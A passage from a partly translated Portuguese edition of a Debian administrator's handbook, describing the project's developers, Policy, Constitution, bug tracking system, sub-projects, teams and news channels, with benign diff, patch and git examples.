time that he led the Debian project. The name “Sid” holds particular status, since
it will eternally be associated with the Unstable branch. In the film, this character
was the neighbor child, who was always breaking toys — so beware of getting too
close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.

1.3. O Funcionamento interno do Projeto Debian

Os resultados abundantes produzidos pelo projeto Debian derivam simultaneamente do traba-
lho na infraestrutura realizado pelos experientes desenvolvedores Debian, de trabalho indivi-
dual ou coletivo dos desenvolvedores de pacotes Debian e dos comentários dos usuários.

1.3.1. Os Desenvolvedores Debian

Debian developers have various responsibilities, and as official project members, they have
great influence on the direction the project takes. A Debian developer is generally responsi-
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ble for at least one package, but according to their available time and desire, they are free to
become involved in numerous teams, acquiring, thus, more responsibilities within the project.
è https://www.debian.org/devel/people

è https://www.debian.org/intro/organization

è https://wiki.debian.org/Teams

FERRAMENTA

banco de dados de
Desenvolvedores

Debian has a database including all developers registered with the project, and
their relevant information (address, telephone, geographical coordinates such as
longitude and latitude, etc.). Some of the information (first and last name, coun-
try, username within the project, IRC username, GnuPG key, etc.) is public and
available on the Web.

è https://db.debian.org/

As coordenadas geográficas permitem a criação de um mapa localizando todos os
desenvolvedores ao redor do mundo. O Debian é realmente um projeto internacio-
nal: seus desenvolvedores podem ser encontrados em todos os continentes, embora
a maioria estão no ocidente.

Figura 1.1 rede de distribuição mundial de desenvolvedores Debian

Package maintenance is a relatively regimented activity, very documented or even regulated.
It must, in effect, comply with all the standards established by the Debian Policy. Fortunately,
there are many tools that facilitate the maintainer’s work. The developer can, thus, focus on
the specifics of their package and on more complex tasks, such as squashing bugs.
è https://www.debian.org/doc/debian-policy/

VOLTA PARA O BÁSICO

Manutenção de Pacotes, o
trabalho do

desenvolvedor

A manutenção de um pacote implica, primeiro, ”empacotar” um programa. Especi-
ficamente, isso significa definir o meio de instalação para que, uma vez instalado,
este programa funcione e cumpra as regras que o projeto Debian definiu para si
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mesmo. O resultado dessa operação é salvo em um arquivo .deb. A instalação efe-
tiva do programa irá exigir nada mais do que a extração deste arquivo compactado
e execução de alguns scripts de pré-instalação ou pós-instalação nele contido.

Após esta fase inicial, o ciclo de manutenção realmente começa: preparação de atu-
alizações para seguir a versão mais recente da Política Debian, correção de erros
reportados pelos usuários, e a inclusão de uma nova versão do programa que, natu-
ralmente, continua a desenvolver-se simultaneamente. Por exemplo, no momento
do empacotamento inicial, o programa estava na versão 1.2.3. Após alguns meses
de desenvolvimento, os autores originais lançam uma nova versão estável, nume-
rada como 1.4.0. Neste ponto, o mantenedor do Debian deve atualizar o pacote,
para que os usuários possam se beneficiar de sua última versão estável.

The Policy, an essential element of the Debian Project, establishes the norms ensuring both the
quality of the packages and perfect interoperability of the distribution. Thanks to this Policy,
Debian remains consistent despite its gigantic size. This Policy is not fixed in stone, but conti-
nuously evolves thanks to proposals formulated on the debian-policy@lists.debian.org mailing
list. Amendments that are agreed upon by all interested parties are accepted and applied to the
text by a small group of maintainers who have no editorial responsibility (they only include the
modifications agreed upon by the Debian developers that are members of the above-mentioned
list). You can read current amendment proposals on the bug tracking system:
è https://bugs.debian.org/debian-policy

COMUNIDADE

Processo de política
editorial

Qualquer pessoa pode propor uma emenda à Política Debian apenas mediante a
apresentação de um relatório de erro com um nível de gravidade ”wishlist” (de-
sejo) contra o pacote debian-policy. O processo que começa está documentado
em /usr/share/doc/debian-policy/Process.html: se é reconhecido como pro-
blema deve ser resolvido através da criação de uma nova regra na Política Debian,
uma discussão começa na na lista de discussão debian-policy@lists.debian.org até
que um consenso seja alcançado e uma proposta emitida. Alguém redige a altera-
ção pretendida e envia para aprovação (na forma de um patch para revisão). Tão
logo que dois outros desenvolvedores aprovem o fato de que a alteração proposta
reflete o consenso alcançado na discussão anterior, a proposta pode ser incluída
no documento oficial por um dos mantenedores do pacote debian-policy. Se o pro-
cesso falhar em um destes passos, os mantenedores fecham o erro, classificando a
proposta como rejeitada.

POLÍTICA DEBIAN

A documentação
A documentação de cada pacote é armazenada em /usr/share/doc/pacote/.
Este diretório normalmente contém um arquivo README.Debian que descreve os
ajustes específicos do Debian feitas pelo mantenedor do pacote. É, portanto, acon-
selhável ler este arquivo antes de qualquer configuração, a fim de se beneficiar da
sua experiência. Também encontramos um aquivo changelog.Debian.gz que des-
creve asmudanças feitas de uma versão para a próxima pelomantenedor doDebian.
Não é para confundir com o arquivo changelog.gz (ou equivalente), que descreve
as mudanças feitas pelos desenvolvedores originais. O arquivo copyrigth inclue
informações sobre os autores e a cobertura da licença do software. Finalmente,
podemos também encontrar um arquivo chamado NEWS.Debian.gz, que permite
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ao desenvolvedor Debian comunicar informações importantes a respeito das atua-
lizações (se apt-listchanges está instalado, as mensagens são exibidas automatica-
mente). Todos os outros arquivos são específicos para o software em questão. Gos-
tamos especialmente de salientar o subdiretório examples, que frequentemente
contém exemplos dos arquivos de configuração.

A Política cobre muito bem os aspectos técnicos do empacotamento. O tamanho do projeto
também levanta problemas organizacionais, que são tratados pela Constituição Debian, que es-
tabelece uma estrutura e meios para tomada de decisão. Em outras palavras, um sistema formal
de governança.
Esta constituição define um certo número de papéis e posições, além de responsabilidades e
autoridades para cada um. É particularmente interessante notar que os desenvolvedores do
Debian sempre tem a decisão definitiva tomada autoridade por uma votação de resolução geral,
em que uma maioria qualificada de três quartos (75%) de votos é necessária para as alterações
significativas a serem feitas (como aquelas com um impacto sobre os Documentos de Fundação).
No entanto, os desenvolvedores anualmente elegemum”líder” para representá-los emreuniões,
e assegurar a coordenação interna entre equipes diferentes. Esta eleição é sempre umperíodo de
intensas discussões. Este papel do líder não é formalmente definido por qualquer documento: os
candidatos para esse posto normalmente propõe sua própria definição da posição. Na prática,
os papéis do líder incluem servir como um representante para os meios de comunicação, de
coordenação entre equipes ”interno” , e fornecer orientação geral para o projeto, dentro do
qual os desenvolvedores podem se relacionar: as opiniões do DPL são implicitamente aprovado
pela maioria dos membros do projeto .
Especificamente, o líder tem autoridade real; o voto deles resolve votações empatadas, eles pode
tomar qualquer decisão que não esteja sob a autoridade de alguém e pode delegar parte das suas
responsabilidades.
Since its inception, the project has been successively led by Ian Murdock, Bruce Perens, Ian
Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson,
Anthony Towns, SamHocevar, SteveMcIntyre, Stefano Zacchiroli, Lucas Nussbaum, Mehdi Dog-
guy and Chris Lamb.
A Constituição também define uma ”comissão técnica”. O papel essencial desta comissão é o
de decidir sobre questões técnicas, quando os desenvolvedores envolvidos não chegaram a um
acordo entre si. Caso contrário, esta comissão tem um papel consultivo para qualquer desenvol-
vedor que não consegue tomar uma decisão para os quais são responsáveis. É importante notar
que eles só se envolvem quando convidados a fazê-lo por uma das partes em questão.
Finalmente, a Constituição define a posição de ” secretário de projeto”, que é responsável pela
organização dos votos relacionados às várias eleições e resoluções gerais.
The “general resolution” procedure is fully detailed in the constitution, from the initial discus-
sion period to the final counting of votes. The most interesting aspect of that process is that
when it comes to an actual vote, developers have to rank the different ballot options between
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them and the winner is selected with a Condorcet method1 (more specifically, the Schulze
method). For further details see:
è http://www.debian.org/devel/constitution.en.html

CULTURA

Flamewar, a discussão
que incendeia

Um ”flamewar” é um debate extremamente ardoroso, que muitas vezes acaba com
pessoas atacando umas às outras uma vez que toda a argumentação razoável tenha
sido esgotada em ambos os lados. Alguns temas são frequentemente mais sujeitos
a polêmica do que outros (a escolha do editor de texto, ”você prefere vi ou emacs?”,
é um velho favorito). As questões muitas vezes provocam trocas de emails extre-
mamente rápidas devido ao grande número de pessoas com uma opinião sobre o
assunto (todos) e da natureza muito pessoal de tais questões.

Geralmente nada particularmente útil vem de tais discussões; a recomendação ge-
ral é ficar fora destes debates, e talvez percorrer rapidamente seu conteúdo já que
ler tudo seria muito demorado.

Embora esta constituição se assemelhe a uma aparente democracia, a realidade cotidiana é
muito diferente: O Debian naturalmente segue as regras da meritocracia do software livre:
aquele que faz as coisas decide como fazê-las. Muito tempo pode ser desperdiçado debatendo
os méritos de várias formas de abordar um problema; a solução escolhida será a primeira que é
funcional e satisfatória... que honrará o tempo que uma pessoa competente colocou nela.
Esta é a única maneira de obter reconhecimento: fazer algo de útil e mostrar que funciona bem.
Muitas equipes ”administrativas” Debian operam por cooptação, preferindo voluntários que já
contribuíram efetivamente e provaram sua competência. A naturaza pública do trabalho dessas
equipes faz com que seja possível a observação e ajuda por parte de novos contribuintes, sem
a necessidade de privilégios especiais É por isso que o Debian é frequentemente descrito como
uma ”meritocracia”.

CULTURA

Meritocracia, o reino do
conhecimento

A meritocracia é uma forma de governo em que autoridade é exercida por aqueles
com o maior mérito. Para o Debian, o mérito é uma medida de competência, que
é, em si, avaliado pela observação das ações passadas por um ou mais dentro do
projeto (Stefano Zacchiroli, um ex-líder do projeto, fala de ”do-ocracy”, que signi-
fica ”poder para aqueles que fazem as coisas acontecerem”). Sua simples existência
demonstra um certo nível de competência; suas realizações sendo geralmente um
software livre, com código fonte disponível, que pode facilmente ser revisto pelos
seus pares para avaliar sua qualidade.

Este efetivo método operacional garante a qualidade dos contribuintes ”chave” Debian do De-
bian. Este método é de forma alguma perfeita e, ocasionalmente, há aqueles que não aceitam
esta forma de operar. A seleção dos desenvolvedores aceitos nas equipes pode parecer umpouco
arbitrária, ou mesmo injusta. Além disso, nem todo mundo tem a mesma definição do serviço
esperado das equipes. Para alguns, é inaceitável ter que esperar oito dias para a inclusão de um
pacote novo, enquanto outros vão esperar pacientemente por três semanas sem nenhum pro-
blema. Como tal, há queixas regulares a partir de descontentes com a ”qualidade de serviço” de
algumas equipes.

1https://en.wikipedia.org/wiki/Condorcet_method
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COMUNIDADE

Integração de novos
mantenedores

A equipe responsável pela admissão de novos desenvolvedores é a mais regular-
mente criticada. É preciso reconhecer que, ao longo dos anos, o projeto se tornou
cada vez mais exigente dos desenvolvedores que aceita. Algumas pessoas podem
ver alguma injustiça nisso, mas devemos confessar que, o que eram apenas peque-
nos desafios no início tornaram-se muito maiores em uma comunidade de mais de
1.000 pessoas, quando se trata de garantir a qualidade e integridade de tudo o que
o Debian produz para seus usuários.

Além disso, o processo de aceitação, conclui-se pela revisão da candidatura por
uma equipe pequena, os Gerentes de Contas Debian (Debian Account Managers).
Esses gerentes são, portanto, particularmente expostos à crítica, uma vez que tem
a palavra final sobre a inclusão ou rejeição de um voluntário dentro da comunidade
de desenvolvedores Debian. Na prática, às vezes, devem adiar a aceitação de uma
pessoa até que tenha aprendido mais sobre as operações do projeto. Pode-se, na-
turalmente, contribuir para o Debian antes de ser aceito como um desenvolvedor
oficial, por ter sido indicado por desenvolvedores atuais.

1.3.2. O Papel Ativo dos Usuários

Alguém pode se perguntar se é relevante mencionar os usuários entre aqueles que trabalham
dentro do projeto Debian, mas a resposta é com certeza ”sim”. eles desempenham um papel
fundamental no projeto. Longe de ser ”passivos”, alguns usuários executam versões de desen-
volvimento do Debian e regularmente apresentam relatórios de bugs para indicar problemas.
Outros vão ainda mais longe e apresentam idéias de melhorias, mediante a apresentação de um
relatório de bug com um nível de gravidade ”wishlist”, ou mesmo apresentam correções no có-
digo fonte, chamadas de ”patches” (veja a barra lateral Patch, a forma de enviar uma correção
[15] ).

FERRAMENTA

Bug tracking system
Grandes partes do projeto usam o Sistema de Acompanhamento de Bugs (Debian
BTS). A parte pública (a interface web) permite aos usuários visualizarem todos os
bugs reportados, com a opção de mostrar uma lista ordenada de erros selecionados
de acordo com vários critérios, tais como: pacote afetado, gravidade, estado, ende-
reço do relator, endereço do mantenedor no comando, etiquetas, etc. Também é
possível navegar pela lista completa do histórico de todas as discussões sobre cada
um dos bugs.

Sutilmente, o BTS Debian é baseado no e-mail: todas informações que armazena
vêm de mensagens enviadas pelas pessoas envolvidas. Qualquer e-mail enviado
para 12345@bugs.debian.org irá, portanto, ser atribuída à história de bug número
12345. Pessoas autorizadas podem ”fechar” um erro ao escrever uma mensagem
descrevendo as razões para a decisão de fechar o 12345-done@bugs.debian.org
(um bug é fechado quando o problema indicado foi resolvido ou não é mais

relevante). Um novo bug é relatada através do envio de um e-mail para sub-
mit@bugs.debian.org de acordo com um formato específico que identifica o pacote
em questão. O endereço control@bugs.debian.org permite a edição de todos as
”meta-informação” relacionado a um bug.

The Debian BTS has other functional features, as well, such as the use of tags for
labeling bugs. For more information, see

è https://www.debian.org/Bugs/
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VOCABULÁRIO

Severidade de um bug
A severidade de um bug atribui formalmente um grau de severidade para o pro-
blema relatado. Efetivamente, nem todos os bugs têm a mesma importância, por
exemplo, um erro de digitação em uma página de manual não é comparável a uma
vulnerabilidade de segurança no software do servidor.

Debian uses an extended scale to describe the severity of a bug. Each level is defined
precisely in order to facilitate the selection thereof.

è https://www.debian.org/Bugs/Developer#severities

Additionally, numerous satisfied users of the service offered by Debian like to make a contribu-
tion of their own to the project. As not everyone has appropriate levels of expertise in program-
ming, they may choose to assist with the translation and review of documentation. There are
language-specific mailing lists to coordinate this work.
è https://lists.debian.org/i18n.html

è https://www.debian.org/international/

VOLTA PARA O BÁSICO

O que são i18n e l10n?
”I18n” e ”l10n” são as abreviaturas (em inglês) para as palavras ”internacionaliza-
ção” e ”regionalização”, respectivamente, preservando a letra inicial e final de cada
palavra, e o número de letras no meio.

”Internacionalizar” um programa consiste em modificá-lo para que ele possa ser
traduzido (regionalizado). Isso envolve reescrever parcialmente um programa ini-
cialmente escrito para trabalhar em uma língua, a fim de ser capaz de abri-lo para
todos os idiomas.

”Regionalizar” um programa consiste em traduzir as mensagens originais (frequen-
temente em Inglês) para outro idioma. Para isso, já deve ter sido internacionalizado.

Em resumo, a internacionalização prepara o software para a tradução, que é então
executada pela regionalização.

DE VOLTA AO BÁSICO

Patch, a forma de enviar
uma correção

Um patch é um arquivo que descreve mudanças a serem feitas a um ou mais ar-
quivos de referência. Especificamente, ele irá conter uma lista de linhas a serem
removidos ou adicionado ao código, bem como (por vezes) linhas tomadas a partir
do texto de referência, substituindo as modificações no contexto (que permitem
identificar o posicionamento das alterações, se os números de linha foram altera-
dos).

O instrumento utilizado para aplicar as modificações dadas em tal arquivo é sim-
plesmente chamado de patch. A ferramenta que o cria é chamado diff, e é utili-
zado como se segue:

$ diff -u file.old file.new >file.patch

O arquivo file.patch contém as instruções para alterar o conteúdo do file.
old em File.new . Podemos enviá-lo para alguém, que pode usá-lo para recriar
File.new a partir dos outros dois, como este:

$ patch -p0 file.old <file.patch

O arquivo, file.old , é agora idêntico ao File.new .
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FERRAMENTA

Assinalar um bug com
reportbug

The reportbug tool facilitates sending bug reports on a Debian package. It helps
making sure the bug in question hasn’t already been filed, thus preventing redun-
dancy in the system. It reminds the user of the definitions of the severity levels, for
the report to be as accurate as possible (the developer can always fine-tune these
parameters later, if needed). It helps writing a complete bug report without the
user needing to know the precise syntax, by writing it and allowing the user to edit
it. This report will then be sent via an e-mail server (by default, a remote one run
by Debian, but reportbug can also use a local server).

Esta ferramenta tem como primeiro alvo as versões de desenvolvimento, onde os
bugs são corrigidos. Efetivamente, as mudanças não são bem-vindas na versão
estável do Debian, com poucas exceções para as atualizações de segurança ou ou-
tras atualizações importantes (se, por exemplo, um pacote não funciona de forma
alguma). A correção de um pequeno bug em um pacote Debian deve, portanto,
esperar pela próxima versão estável.

Todos essesmecanismos de colaboração sãomais eficientes com o comportamento dos usuários.
Longe de serem uma coleção de pessoas isoladas, os usuários são uma verdadeira comunidade
aonde ocorrem numerosas trocas. Notamos especialmente a impressionante atividade na lista
de discussão de usuários, debian-user@lists.debian.org (Capítulo 7, Resolvendo Problemas e En-
contrando Informações Relevantes [140] discute isso com mais detalhe).
Não só os usuários se ajudam entre si (e outros) com questões técnicas que afetam diretamente
a eles, mas também discutem as melhores formas de contribuir para o projeto Debian e ajudá-lo
a avançar - discussões que frequentemente resultam em sugestões para melhorias.
Já que o Debian não gasta fundos em todas campanhas de auto-promoção de marketing, seus
usuários têm um papel essencial na sua difusão, assegurando a sua fama através da propaganda
boca a boca.
Estemétodo funcionamuito bem, uma vez que fãs do Debian são encontrados em todos os níveis
da comunidade de software livre: a partir de festas de instalação (oficinas onde os usuários
experientes ajudam os recém-chegados para instalar o sistema) organizados por GULs locais ou
”Grupos de Usuários de Linux”, para estandes de associação em grandes convenções que lidam
com tecnologias como o Linux, etc.
Volunteers make posters, brochures, stickers, and other useful promotional materials for the
project, which theymake available to everyone, andwhich Debian provides freely on its website
and on its wiki:
è https://www.debian.org/events/material

1.3.3. Equipes e Sub-Projetos

O Debian é organizado inicialmente em torno do conceito de pacotes de código fonte, cada um
com seu mantenedor ou grupo de mantenedores. Numerosas equipes de trabalho lentamente
apareceram, garantindo a administração da infra-estrutura, gestão de tarefas não específicas
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para qualquer pacote emparticular (garantia de qualidade, Política Debian, instalador, etc), com
as últimas equipes crescendo ao redor dos sub-projetos.

Sub-Projetos Debian Existentes

Cada um com seu próprio Debian! Um subprojeto é um grupo de voluntários interessados em
adaptar o Debian para necessidades específicas. Além da seleção de um subgrupo de programas
destinados a um domínio particular (educação, medicina, criação multimídia, etc), os subproje-
tos estão também envolvidos em melhorar os pacotes existentes, empacotar software faltando,
adaptar o instalador, criação de documentação específica, e mais.

VOCABULÁRIO

Sub-projeto e
distribuição derivada

O processo de desenvolvimento para uma distribuição derivada consiste em come-
çar com uma versão específica do Debian e fazer uma série de modificações nela.
A infra-estrutura utilizada para este trabalho é completamente externa ao projeto
Debian. Não há necessariamente uma política de contribuição de melhorias. Esta
diferença explica como uma distribuição derivada pode ”divergir” de suas origens,
e por que têm que sincronizar regularmente com sua fonte de modo a se beneficiar
de melhorias feitas no upstream.

Por outro lado, um sub-projeto pode não divergir, uma vez que todo o trabalho
consiste em melhorar diretamente o Debian de modo a adaptá-lo para um objetivo
específico.

A distribuição derivada mais conhecida é, sem dúvida, o Ubuntu, mas existem mui-
tas. Veja Apêndice A, Distribuições Derivadas [461] para aprender sobre suas par-
ticularidades e seu posicionamento em relação ao Debian.

Aqui está uma pequena seleção dos sub-projetos correntes:

• Debian-Junior, por Ben Armstrong, oferecendo um atraente e fácil de usar sistema Debian
para crianças;

• Debian-Edu, por Petter Reinholdtsen, focada na criação de uma distribuição especializada
para o mundo acadêmico;

• Debian Med, por Andreas Tille, dedicada para o campo medicinal;
• Debian-Multimedia, que trata do trabalho de áudio e multimídia;
• O Debian-Desktop, que foca no desktop e coordena a artwork para o tema padrão;
• O Debian GIS que cuida das aplicações e usuários do ”Sistemas de Informação Geográfica
- Geographical Information Systems”;

• O Debian Accessibility, finalmente, aprimorando o Debian para preencher os requisitos
para as pessoas com necessidades especiais.

Esta lista provavelmente irá continuar a crescer com o tempo e melhor percepção das vanta-
gens dos sub-projetos. Totalmente suportados pela infra-estrutura Debian existente , eles po-
dem, com efeito, se concentrar no trabalho com valor acrescentado real, sem se preocupar em
permanecer sincronizado com o Debian, uma vez que são desenvolvidos dentro do projeto.
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Times Administrativos

Amaioria das equipes administrativas são relativamente fechadas e recrutam só por cooptação.
O melhor meio para se tornar parte de uma é inteligentemente auxiliar os atuais membros, de-
monstrando que você tenha entendido seus objetivos e métodos de operação.
O ftpmasters estão a cargo do repositório oficial dos pacotes Debian. Eles mantêm o programa
que recebe pacotes enviados por desenvolvedores e automaticamente armazenam eles, depois
de algumas verificações no servidor de referência ( ftp-master.debian.org ).
Eles devem igualmente verificar as licenças de todos os novos pacotes, a fim de assegurar que
o Debian pode distribuí-los, antes da sua inclusão no corpo de pacotes existentes. Quando um
desenvolvedor deseja remover umpacote, aborda esta equipe através do sistema de acompanha-
mento de bugs e o ”pseudo-pacote” ftp.debian.org .

VOCABULÁRIO

O pseudo-pacote, uma
ferramenta de

monitoramento

O sistema de acompanhamento de bugs, inicialmente concebido para associar re-
latórios de erros com um pacote Debian, revelou-se muito prático para gerenciar
outros assuntos: as listas de problemas a serem resolvidos ou tarefas para gerenciar,
sem qualquer ligação a um pacote Debian particular. ”Pseudo-pacotes” permitem,
assim, algumas equipes a usar o sistema de acompanhamento de bugs sem associar
um pacote real com sua equipe. Todomundo pode, portanto, relatar problemas que
precisam ser tratados. Por exemplo, o BTS tem uma entrada ftp.debian.org para
relatar problemas no repositório de pacotes oficiais ou simplesmente para solici-
tar a remoção de um pacote. Da mesma forma, o pseudo-pacote www.debian.org
refere-se a erros no site do Debian, e lists.debian.org reúne todos os problemas
relativos às listas de discussão.

TOOL

GitLab, Git repository
hosting and much more

A GitLab instance, known as salsa.debian.org, is used by Debian to host the
Git packaging repositories but this software offers much more than simple hosting
and Debian contributors have been quick to leverage the continuous integration
features (running tests, or even building packages, on each push). Debian contribu-
tors also benefit from a cleaner contribution workflow thanks the well understood
merge request process (similar to GitHub’s pull requests).

GitLab replaced FusionForge (which was running on a service known as
alioth.debian.org) for collaborative package maintainance. This service is ad-
ministered by Alexander Wirt, Bastian Blank and Jörg Jaspert.

è https://salsa.debian.org/

è https://wiki.debian.org/Salsa/Doc

A equipe Administradores de Sistema do Debian (DSA) (debian-admin@lists.debian.org), como se
poderia esperar, é responsável pela administração do sistema de muitos servidores utilizados
pelo projeto. Eles garantem o ótimo funcionamento de todos os serviços básicos (DNS, Web, e-
mail, shell, etc), instalam o software solicitado por desenvolvedores Debian e tomam todas as
precauções no que diz respeito à segurança.
è https://dsa.debian.org
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FERRAMENTA

Rastreador de Pacotes
Debian

Esta é uma das criações do Raphaël. A idéia básica é, para um determinado pa-
cote, centralizar as informações tanto quanto possível em uma única página. As-
sim, pode-se verificar rapidamente o estado de um programa, identificar tarefas
a serem realizadas, e oferecer assistência de alguém. É por isso que esta página
reúne todas estatísticas de erros, as versões disponíveis em cada distribuição, o
progresso de um pacote na distribuição Testing, o estado das traduções das des-
crições e modelos debconf, a possível disponibilidade de uma nova versão, avisos
de não conformidade com a versão mais recente da Política Debian, informações
sobre o mantenedor, e qualquer informação que o dito mantenedor deseja incluir.

è https://tracker.debian.org/

Um serviço de assinatura de e-mail completa esta interface web. Ela envia auto-
maticamente as seguintes informações selecionadas para a lista: bugs e discussões
relacionadas, a disponibilidade de uma nova versão nos servidores Debian, novas
traduções disponíveis para revisão, etc.

Advanced users can, thus, follow all of this information closely and even contribute
to the project, once they have got a good enough understanding of how it works.

Outra interface web, conhecida como Supervisão de Pacotes do Desenvolvedor
Debian (Debian Developer’s Packages Overview) (DDPO), fornece a cada desen-
volvedor uma sinopse do estado de todos os pacotes Debian colocados sob a sua
carga.

è https://qa.debian.org/developer.php

Estes dois sites são ferramentas desenvolvidas e gerenciadas pelo grupo responsá-
vel pela garantia de qualidade no Debian (conhecido como Debian QA).

A equipe listmasters administra o servidor de e-mail que gerencia as listas de discussão. Eles
criam novas listas , tratam das quicadas (avisos de falha na entrega), e mantem os filtros de
spam (massa não solicitada de e-mail).

CULTURA

Tráfego nas listas de
discussão: alguns

números

The mailing lists are, without a doubt, the best testimony to activity on a project,
since they keep track of everything that happens. Some statistics (from 2017) re-
garding our mailing lists speak for themselves: Debian hosts more than 250 lists,
totaling 217,000 individual subscriptions. The 27,000 messages sent each month
generate 476,000 e-mails daily.

Each specific service has its own administration team, generally composed of volunteers who
have installed it (and also frequently programmed the corresponding tools themselves). This
is the case of the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab ser-
ver, see sidebar GitLab, Git repository hosting and much more [18]), the services available on
qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

Equipes de Desenvolvimento, Equipes Transversais

Diferente das equipes administrativas, as equipes de desenvolvimento são bem amplamente
abertas, mesmo para os contribuintes de fora. Mesmo que se o Debian não tem vocação para

19Capítulo 1 — O Projeto Debian

https://tracker.debian.org/
https://qa.debian.org/developer.php


criar um software, o projeto necessita de alguns programas específicos para atender seus obje-
tivos. Claro, desenvolvido sob uma licença de software livre, essas ferramentas fazem uso de
métodos comprovados em outras partes do mundo do software livre.

CULTURA

Git
OGit é uma ferramenta para o trabalho colaborativo em vários arquivos, mantendo
um histórico de modificações. Os arquivos em questão são geralmente arquivos de
texto, como o código de um programa fonte. Se várias pessoas trabalham juntas
no mesmo arquivo, git apenas podem mesclar as alterações feitas, se elas foram
feitos para diferentes partes do arquivo. Caso contrário, esses ”Conflitos” devem
ser resolvidos com a mão.

O Git é um sistema distribuido onde cada usuário tem um repositório com o his-
tórico completo das alterações. Repositórios centrais são usados para baixar o pro-
jeto (git clone) e para compartilhar o trabalho feito com os outros (git push).
O repositório pode conter multiplas versões dos arquivos mas apenas uma versão
pode ser trabalhada em um dado momento: isso é chamado a cópia de trabalho
(isso pode ser alterado para apontar para outra versão com git checkout). O Git
pode exibir para você as modificações feitas na cópia de trabalho (git diff), pode
armazená-las no repositório pela criação de uma nova entrada no histórico da ver-
sões (git commit), pode atualizar a cópia de trabalho para incluir modificações
feitas em paralelo por outros usuários (git pull), e pode registrar uma configu-
ração em particular no histórico para fazer com que seja facilmente extraída mais
tarde (git tag).

O Git torna fácil lidar com várias versões simultâneas de um projeto em desenvolvi-
mento sem que interfiram uns com os outros. Estas versões são chamados ramos
. Esta metáfora de uma árvore é bastante precisa, uma vez que um programa é
desenvolvido inicialmente em um tronco comum. Quando um marco foi alcançado
(como a versão 1.0), o desenvolvimento continua em dois ramos: o ramo de de-
senvolvimento prepara o próximo grande lançamento, e o ramo de manutenção
gerencia as atualizações e correções para a versão 1.0.

O Git é, hoje em dia, o sistema de controle de versão mais popular, mas não é o
único. O CVS (Concurrent Versions System) era o primeiro dos sistemas ampla-
mente usados, porém suas inúmeras limitações contribuiram para o aparecimento
de alternativas mais modernas e livres. Estas incluem, especialmente, subversion
(svn), git, bazaar (bzr ), e mercurial (hg).

è http://www.nongnu.org/cvs/

è http://subversion.apache.org/

è http://git-scm.com/

è http://bazaar.canonical.com/

è http://mercurial.selenic.com/

Debian desenvolveu poucos softwares por si só, mas certos programas têm assumido um papel
importante, sua fama se espalhou para além escopo do projeto. Bons exemplos são dpkg, o
programa de gerenciamento de pacotes do Debian (é, na verdade, uma abreviatura de Debian
PacKaGe -- pacote do Debian), e apt, uma ferramenta para instalação automática de qualquer
pacote Debian, e suas dependências, garantindo a coesão do sistema após a atualização (seu
nome é uma sigla para Advanced Package Tool -- Ferramenta Avançada de Pacotes). Os seus
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times são, no entanto, muito pequenos, uma vez que umnível bastante elevado de habilidade de
programação é necessária para a compreensão do conjunto de ações destes tipos de programas.
A equipe mais importante é provavelmente a do programa de instalação do Debian,
debian-installer, que realizou uma obra de proporções monumentais, desde a sua concep-
ção em 2001. Vários colaboradores foram necessários, uma vez que é difícil escrever um único
programa capaz de instalar o Debian em uma dúzia de diferentes arquiteturas. Cada um tem
seu próprio mecanismo para inicialização e seu próprio bootloader. Todo este trabalho é coor-
denado na lista de discussão debian-boot@lists.debian.org, sob a direção de Cyril Brulebois.
è http://www.debian.org/devel/debian-installer/

è http://joeyh.name/blog/entry/d-i_retrospective/

A (muito pequena) equipe do programa debian-cd temumobjetivo aindamaismodesto. Muitos
”pequenos” colaboradores são responsáveis pela sua arquitetura, já que o principal desenvolve-
dor pode não saber todas as sutilezas, nem a forma exata para iniciar o instalador a partir do
CD-ROM.
Muitas equipes devem colaborar com outras na atividade de empacotamento: debian-
qa@lists.debian.org tenta, por exemplo, garantir a qualidade em todos os níveis do projeto
Debian. A equipe do lista do programa debian-policy@lists.debian.org desenvolve A Política
do Debian de acordo com propostas de todo o lugar. A equipe encarregada de cada arquitetura (
debian- arquitetura @lists.debian.org ) compila todos os pacotes, adaptando-os à sua arquitetura
particular, se necessário.
Outras equipes gerenciam os pacotes mais importantes, a fim de garantir a manutenção sem
colocar uma carga muito pesada sobre um único par de ombros, este é o caso com a biblioteca C
a debian-glibc@lists.debian.org, o compilador C na lista debian-gcc@lists.debian.org, ou o Xorg
na debian-x@lists.debian.org (este grupo também é conhecido como o X Strike Force).

1.4. Siga as notícias do Debian

Como jámencionado, o projeto Debian evoluimuito distribuído, de formamuito orgânica. Como
consequência, pode ser difícil às vezes para ficar em contato com o que acontece dentro do
projeto sem ser sobrecarregado por uma torrente interminável de notificações.
Se você quer somente as notícias mais importantes sobre o Debian, você provavelmente deve
se inscrever na lista debian-announce@lists.debian.org. Esta é uma lista de muito baixo tráfego
(cerca de uma dúzia de mensagens por ano), e apenas dá os anúncios mais importantes, tais
como a disponibilidade de uma nova versão estável, a eleição de um novo líder do projeto, ou a
conferência anual do Debian.
è https://lists.debian.org/debian-announce/

More general (and regular) news about Debian are sent to the debian-news@lists.debian.org list.
The traffic on this list is quite reasonable too (usually around a handful of messages a month),
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and it includes the semi-regular “Debian Project News”, which is a compilation of various small
bits of information about what happens in the project.
è https://lists.debian.org/debian-news/

COMMUNITY

The publicity team
Debian’s official communication channels aremanaged by volunteers of theDebian
publicity team. They are delegates of the Debian Project Leader and moderate
news and announcements posted there. Many other volunteers contribute to the
team, for example by writing articles for “Debian Project News” or by animating
the microblogging service (micronews.debian.org2).

è https://wiki.debian.org/Teams/Publicity

Para mais informações sobre a evolução do Debian e o que está acontecendo num momento
em vários times, existe também a lista debian-devel-announce@lists.debian.org. Como o pró-
prio nome indica, os anúncios publicados lá são mais interessantes para desenvolvedores, mas
também serve para que parceiros interessados mantenham um olho no que acontece em ter-
mos mais concretos do que apenas ver quando a versão estável é lançada. Enquanto a debian-
announce@lists.debian.org dá notícias sobre resultados visíveis para usuários, a debian-devel-
announce@lists.debian.org dá notícias sobre como estes resultados foram produzidos. Uma ob-
servação, a “d-d-a” (como é às vezes chamada) é a única lista na qual desenvolvedores Debian
devem estar inscritos.
è https://lists.debian.org/debian-devel-announce/

Debian’s official blog (bits.debian.org3) is also a good source of information. It conveys most
of the interesting news that are published on the various mailing lists that we already covered
and other important news contributed by community members. Since all Debian developers
can contribute these news when they think they have something noteworthy to make public,
Debian’s blog gives a valuable insight while staying rather focused on the project as a whole.
A more informal source of information can also be found on Planet Debian, which aggregates
